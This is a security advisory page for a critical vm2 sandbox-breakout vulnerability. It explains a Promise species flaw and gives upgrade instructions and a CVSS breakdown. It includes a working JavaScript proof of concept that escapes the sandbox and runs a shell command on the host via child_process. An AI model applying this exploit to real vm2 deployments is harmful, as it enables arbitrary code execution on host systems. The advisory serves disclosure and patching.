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CVE-2026-47208

CRITICAL

vm2 is Vulnerable to Sandbox Breakout Through Promise Species

Published May 29, 2026Updated June 12, 2026Source: osv

Summary

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update vm2 to 3.11.4 or later
npm install vm2@3.11.4

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
vm2
npm
All versions3.11.4

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 10.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-47208?
vm2 is Vulnerable to Sandbox Breakout Through Promise Species This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 10.0/10).
How do I check if my project is affected by CVE-2026-47208?
CVE-2026-47208 affects vm2. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-47208 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
10.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-76w7-j9cq-rx2j

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